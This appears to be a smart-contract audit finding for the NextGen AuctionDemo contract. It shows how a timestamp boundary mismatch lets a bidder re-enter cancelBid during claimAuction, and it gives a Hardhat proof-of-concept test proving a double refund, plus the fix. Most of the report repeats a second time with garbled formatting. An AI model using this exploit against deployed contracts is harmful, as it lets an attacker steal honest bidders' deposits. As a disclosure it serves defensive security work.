Some bidders will be able to get a double refund of their deposited eth, while others won't be able to get a refund at all.
Proof of Concept
In the current implementation of the AuctionDemo contract, both the cancelBid and cancelAllBids functions are comparing the block.timestamp to the auctionEndTime using a less than or equal to comparison. This is fine on its own, but because in the claimAuction function we are also comparing the same values using greater than or equal to, we have an issue. The issue is that if the block.timestamp equals the auctionEndTime, a malicious user that has placed a bid, can call cancelBid/cancelAllBids from their receive function, when they receive their eth refund from claimAuction. That way, they will get back double the amount of their bid, while other legit users will not be able to get a refund at all. As we know, tweaking the block timestamp up a bit in order to satisfy the above condition is definitely within the realm of possibility and can easily happen if the right incentives are in place.
A Proof of Concept (PoC) demonstrating a very basic scenario of how this can be exploited is provided bellow.
To get the PoC up and running, follow these steps:
In the hardhat/smart-contracts directory, create a new file named AuctionDemoDoubleRefundee.sol
Paste the following code in the file you just created:
Paste the following test at the bottom of the the NextGen Tests describe block in the hardhat/test/nextGen.test.js file:
// PoC test
it.only("should receive double the Ether that they originally bided with, while the auction owner should not receive anything", async () => {
const initialBlockTimestamp = (await ethers.provider.getBlock("latest"))
.timestamp;
// **Setup logic starts here**
await contracts.hhCore.addMinterContract(contracts.hhMinter);
await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);
await contracts.hhCore.createCollection(
"Test Collection 5",
"Artist 5",
"For PoC",
"www.test.com",
"CCO",
"https://ipfs.io/ipfs/hash/",
"",
["desc"]
);
await contracts.hhCore.setCollectionData(
1, // _collectionID
signers.addr1.address, // _collectionArtistAddress
1, // _maxCollectionPurchases
50, // _collectionTotalSupply
200 // _setFinalSupplyTimeAfterMint
);
await contracts.hhMinter.setCollectionCosts(
1, // _collectionID
BigInt(1000000000000000000), // _collectionMintCost 1 eth
BigInt(100000000000000000), // _collectionEndMintCost 0.1 eth
0, // _rate
200, // _timePeriod
2, // _salesOptions
"0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
);
await contracts.hhMinter.setCollectionPhases(
1, // _collectionID
initialBlockTimestamp, // _allowlistStartTime
initialBlockTimestamp + 1000, // _allowlistEndTime
initialBlockTimestamp + 2000, // _publicStartTime
initialBlockTimestamp + 3000, // _publicEndTime
"0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
);
const auctionDemo = await ethers.getContractFactory("auctionDemo");
const auctionDemoDoubleRefundee = await ethers.getContractFactory(
"AuctionDemoDoubleRefundee"
);
const auctionDemoContract = await auctionDemo.deploy(
contracts.hhMinter.getAddress(),
contracts.hhCore.getAddress(),
contracts.hhAdmin.getAddress()
);
const auctionDemoContractOwner = await auctionDemoContract.owner();
const blockTimestampOffset = 150;
const auctionEndTime = initialBlockTimestamp + blockTimestampOffset;
const collectionId = 1;
const targetTokenId =
(await contracts.hhCore.viewTokensIndexMin(collectionId)) +
(await contracts.hhCore.viewCirSupply(collectionId));
await contracts.hhMinter.mintAndAuction(
signers.addr1,
"Mock token data",
0, // _saltfun_o parameter
collectionId,
auctionEndTime
);
await contracts.hhCore
.connect(signers.addr1)
.approve(auctionDemoContract.getAddress(), targetTokenId);
// **Setup logic ends here**
// First user places a bid
await auctionDemoContract
.connect(signers.addr2)
.participateToAuction(targetTokenId, { value: BigInt(1e18) }); // 1 eth
// We deploy our exploiter contract
const auctionDemoDoubleRefundeeContract =
await auctionDemoDoubleRefundee.deploy(
auctionDemoContract.getAddress(),
targetTokenId
);
const exploitBidAmount = BigInt(2e18); // 2 eth
await signers.owner.sendTransaction({
to: auctionDemoDoubleRefundeeContract.getAddress(),
value: exploitBidAmount,
});
// We place our bid from the exploiter contract
await auctionDemoDoubleRefundeeContract.placeBid();
// Two more bids take place
await auctionDemoContract
.connect(signers.addr3)
.participateToAuction(targetTokenId, { value: BigInt(3e18) }); // 3 eth
const winningBidAmount = BigInt(4e18); // 4 eth
await auctionDemoContract
.connect(signers.addr2)
.participateToAuction(targetTokenId, { value: winningBidAmount });
// We fast-forward to the auctionEndTime - 1 second (we are subtracting one second from it
// because for some reason, when the claimAuction call is made, the timestamp is incremented by 1)
await time.increaseTo(auctionEndTime - 1);
const aucitonOwnerBalanceBefore = await ethers.provider.getBalance(
auctionDemoContractOwner
);
// The winner claims their rewards
await auctionDemoContract
.connect(signers.addr2)
.claimAuction(targetTokenId);
// Verifiying that the timestamp was incremented by 1 during the claimAuction call (so that we are sure
// the claimAuction call was made exactly on the auction end timestamp)
const currentTimestamp = (await ethers.provider.getBlock("latest"))
.timestamp;
expect(currentTimestamp).equal(auctionEndTime);
// And as expected, the exploiter contract was sent double their initial deposit (2 eth * 2 = 4 eth)
const exploitContractBalanceAfter = await ethers.provider.getBalance(
auctionDemoDoubleRefundeeContract.getAddress()
);
console.log("Ballance after exploit: ", exploitContractBalanceAfter); // This is going to be printed just above the gas report table (should be equal to 4e18)
expect(exploitContractBalanceAfter).equal(exploitBidAmount * BigInt(2));
// Even though the auction contract owner should have received the eth amount from the winning bid,
// he did not receive anything, because the contract did not have enough funds to fulfill that transfer (because of the exploit)
const aucitonOwnerBalanceAfter = await ethers.provider.getBalance(
auctionDemoContractOwner
);
expect(aucitonOwnerBalanceAfter).equal(aucitonOwnerBalanceBefore);
});
Run npx hardhat compile in the hardhat directory
Run npx hardhat test in the hardhat directory
Tools Used
Manual Review, Hardhat
Recommended Mitigation Steps
Remove the less that or equal to operator in both the cancelBid and cancelAllBids functions and replace it with a less than operator.
function cancelBid(uint256 _tokenid, uint256 index) public {
- require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+ require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
function cancelAllBids(uint256 _tokenid) public {
- require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+ require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L135
Vulnerability details
Impact
Some bidders will be able to get a double refund of their deposited eth, while others won't be able to get a refund at all.
Proof of Concept
In the current implementation of the AuctionDemo contract, both the
cancelBid
andcancelAllBids
functions are comparing theblock.timestamp
to theauctionEndTime
using a less than or equal to comparison. This is fine on its own, but because in theclaimAuction
function we are also comparing the same values using greater than or equal to, we have an issue. The issue is that if theblock.timestamp
equals theauctionEndTime
, a malicious user that has placed a bid, can callcancelBid
/cancelAllBids
from their receive function, when they receive their eth refund fromclaimAuction
. That way, they will get back double the amount of their bid, while other legit users will not be able to get a refund at all. As we know, tweaking the block timestamp up a bit in order to satisfy the above condition is definitely within the realm of possibility and can easily happen if the right incentives are in place.A Proof of Concept (PoC) demonstrating a very basic scenario of how this can be exploited is provided bellow.
To get the PoC up and running, follow these steps:
hardhat/smart-contracts
directory, create a new file namedAuctionDemoDoubleRefundee.sol
mine
andtime
utilities from@nomicfoundation/hardhat-toolbox/network-helpers
at the top of thehardhat/test/nextGen.test.js
file like so:NextGen Tests
describe block in thehardhat/test/nextGen.test.js
file:npx hardhat compile
in thehardhat
directorynpx hardhat test
in thehardhat
directoryTools Used
Manual Review, Hardhat
Recommended Mitigation Steps
Remove the less that or equal to operator in both the
cancelBid
andcancelAllBids
functions and replace it with a less than operator.Assessed type
Access Control